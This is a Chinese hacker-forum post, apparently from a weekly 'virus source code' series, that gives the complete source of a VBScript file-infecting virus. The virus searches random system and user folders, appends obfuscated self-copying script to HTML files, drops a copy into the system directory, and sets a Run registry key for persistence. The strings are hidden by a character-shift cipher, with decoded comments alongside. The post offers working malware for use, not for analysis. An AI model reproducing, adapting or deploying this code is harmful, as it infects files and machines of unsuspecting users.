病毒源码（每星期发一个）劳尔
[q37] 2006.12.6
名称： Set A
类别： 病毒源码￤脚本病毒
文件大小： 4KB
运行平台： Windows
Set A = CreateObject(B("Tdqjosjmh-EjkfTztsfnPaifds"));Scripting.FileSystemObject
Set C = CreateObject(B("XTdqjos-Tgfkk"));WScript.Shell
Randomize
D = Int((6 - 1 + 1) * Rnd + 1)
If D = 1 Then
E = A.GetSpecialFolder(2)
ElseIf D = 2 Then
E = A.BuildPath(A.GetSpecialFolder(0), B("GFKO"));HELP
ElseIf D = 3 Then
E = A.BuildPath(A.GetSpecialFolder(0), B("SFNOPQBQZ JMSFQMFS EJKFT"));TEMPORARY INTERNET FILES
ElseIf D = 4 Then
E = C.SpecialFolders(B("Cftlspo"));Desktop
ElseIf D = 5 Then
E = C.SpecialFolders(B("NzCpdvnfmst"));MyDocuments
ElseIf D = 6 Then
E = C.RegRead(B("GLFZ`KPDBK`NBDGJMF[Tpesxbqf[Njdqptpes[Xjmcpxt[DvqqfmsUfqtjpm[OqphqbnEjkftCjq"))
;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir
End If
If A.FolderExists(E) = True Then
For Each F In A.GetFolder(E).Files
If UCase(A.GetExtensionName(F.Name)) = UCase(B("gsn")) Or UCase(A.GetExtensionName(F.Name)) = UCase(B("gsnk")) Then
If G(A.BuildPath(F.ParentFolder, F.Name)) = False Then
H A.BuildPath(F.ParentFolder, F.Name)
End If
End If
Next
;htm,html
Set I = A.GetFolder(E)
Set J = I.SubFolders
For Each K In J
For Each L In K.Files
If UCase(A.GetExtensionName(L.Name)) = UCase(B("gsn")) Or UCase(A.GetExtensionName(L.Name)) = UCase(B("gsnk")) Then
If G(A.BuildPath(L.ParentFolder, L.Name)) = False Then
H A.BuildPath(L.ParentFolder, L.Name)
End If
End If
Next
Next
End If
If Day(Now) = 1 Then
MsgBox ;省略了
End If
-------------------------------------------------------------------------------
Function G(O)
Set P = A.OpenTextFile(O, 1)
If P.AtEndOfStream = False Then
Q = P.ReadLine
End If
Do While Q <> B(" H-QfhXqjsf B'""JICW]NMA?N]K?AJGPC^Qmhvu_tc^Kgatmqmhv^Ugpfmuq^AsttcpvXctqgmp^Tsp^UgpQv_tv""*+ F-AvjkcObsg'F-HfsTofdjbkEpkcfq'2*+ B'""UGPQV?TV0XDQ""**") And P.AtEndOfStream = False
;G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WinStart
Q = P.ReadLine
Loop
P.Close
If Q = B(" H-QfhXqjsf B'""JICW]NMA?N]K?AJGPC^Qmhvu_tc^Kgatmqmhv^Ugpfmuq^AsttcpvXctqgmp^Tsp^UgpQv_tv""*+ F-AvjkcObsg'F-HfsTofdjbkEpkcfq'2*+ B'""UGPQV?TV0XDQ""**") Then
;G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WinStart
G = True
Else
G = False
End If
End Function
Sub H(R)
Set S = A.GetFile(R)
T = S.Attributes
If T <> 0 Then
S.Attributes = 0
End If
Set U = A.OpenTextFile(R, 8)
U.WriteLine(B(";Tdqjos Kbmhvbhf>""UATdqjos""="));<Script Language="VBScript">
U.WriteLine(B("Je Kpdbsjpm-Oqpspdpk > B'""hgnc<""* Sgfm"));If Location.Protocol = A("ghmd;") Then
U.WriteLine(B(" A"));b
U.WriteLine(B("Fmc Je"));End If
U.WriteLine("");空格
U.WriteLine(B("Evmdsjpm B'D*"));------------Function A(C)------------
U.WriteLine(B(" Epq C > 2 Sp Kfm'D*"))
U.WriteLine(B(" Je Btd'Njc'D+ C+ 2** ;= 43 Bmc Btd'Njc'D+ C+ 2** ;= 46 Bmc Btd'Njc'D+ C+ 2** ;= 215 Sgfm"))
U.WriteLine(B(" Je Btd'Njc'D+ C+ 2** Npc 1 > / Sgfm"))
U.WriteLine(B(" B > B , Dgq'Btd'Njc'D+ C+ 2** , 2*"))
U.WriteLine(B(" Fktf"))
U.WriteLine(B(" B > B , Dgq'Btd'Njc'D+ C+ 2** . 2*"))
U.WriteLine(B(" Fmc Je"))
U.WriteLine(B(" Fktf"))
U.WriteLine(B(" B > B , Njc'D+ C+ 2*"))
U.WriteLine(B(" Fmc Je"))
U.WriteLine(B(" Mfws"))
U.WriteLine(B("Fmc Evmdsjpm"));-------------End Function--------------
U.WriteLine("");空格
U.WriteLine(B("Tva A"));--------Sub B------------------
U.WriteLine(B(" Tfs F > DqfbsfPaifds'B'""Qatgrvgpe0HgncQwqvckMdlcav""**"))
;Set E = CreateObject(A("Rbshquhof/GhmdRxrudlNckdbu"))
;Scripting.FileSystemObject
U.WriteLine(B(" Tfs E > F-DqfbsfSfwsEjkf'F-AvjkcObsg'F-HfsTofdjbkEpkcfq'2*+ B'""UGPQV?TV0XDQ""**+ Sqvf*"))
; Set F = E.CreateTextFile(E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")), True)
Set V = A.OpenTextFile(WScript.ScriptFullName, 1)
Do While V.AtEndOfStream = False
U.WriteLine(B(" E-XqjsfKjmf'B'""") + W(Replace(V.ReadLine, B(""""), B(""""""))) + B("""**"))
; F.WriteLine(A(" , " , "" , "))
Loop
V.Close
U.WriteLine(B(" E-Dkptf")); F.Close
U.WriteLine(B(" Tfs H > DqfbsfPaifds'B'""UQatgrv0Qjcnn""**"))
; Set G = CreateObject(A("VRbshqu/Ridmm"))
; WScript.Shell
U.WriteLine(B(" H-QfhXqjsf B'""JICW]NMA?N]K?AJGPC^Qmhvu_tc^Kgatmqmhv^Ugpfmuq^AsttcpvXctqgmp^Tsp^UgpQv_tv""*+ F-AvjkcObsg'F-HfsTofdjbkEpkcfq'2*+ B'""UGPQV?TV0XDQ""**"))
;G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WinStart
U.WriteLine(B("Fmc Tva"));End Sub
U.WriteLine(B(";0Tdqjos="));</Script>
U.Close
If T <> 0 Then
S.Attributes = T
End If
End Sub
-----------------------------------------------------------------------------
Function B(M)
For N = 1 To Len(M)
If Asc(Mid(M, N, 1)) <> 32 And Asc(Mid(M, N, 1)) <> 33 And Asc(Mid(M, N, 1)) <> 34 And Asc(Mid(M, N, 1)) <> 160 And Asc(Mid(M, N, 1)) <> 255 Then
If Asc(Mid(M, N, 1)) Mod 2 = 0 Then
B = B + Chr(Asc(Mid(M, N, 1)) - 1)
Else
B = B + Chr(Asc(Mid(M, N, 1)) + 1)
End If
Else
B = B + Mid(M, N, 1)
End if
Next
End Function
-----------------------------------------------------------------------------
Function W(X)
For Y = 1 To Len(X)
If Asc(Mid(X, Y, 1)) <> 34 And Asc(Mid(X, Y, 1)) <> 35 And Asc(Mid(X, Y, 1)) <> 126 Then
If Asc(Mid(X, Y, 1)) Mod 2 = 0 Then
W = W + Chr(Asc(Mid(X, Y, 1)) + 1)
Else
W = W + Chr(Asc(Mid(X, Y, 1)) - 1)
End If
Else
W = W + Mid(X, Y, 1)
End If
Next
End Function
-----------------------------------------------
;32=" " , 33="!" ,32=""" ,35="#" ,126="~"
:D
[url=http://wpa.qq.com/msgrd?V=1&Uin=136976649&Site=Yes黑客联盟论坛&Menu=yes][/url]作者: leo00 时间: 2008-9-29 09:26
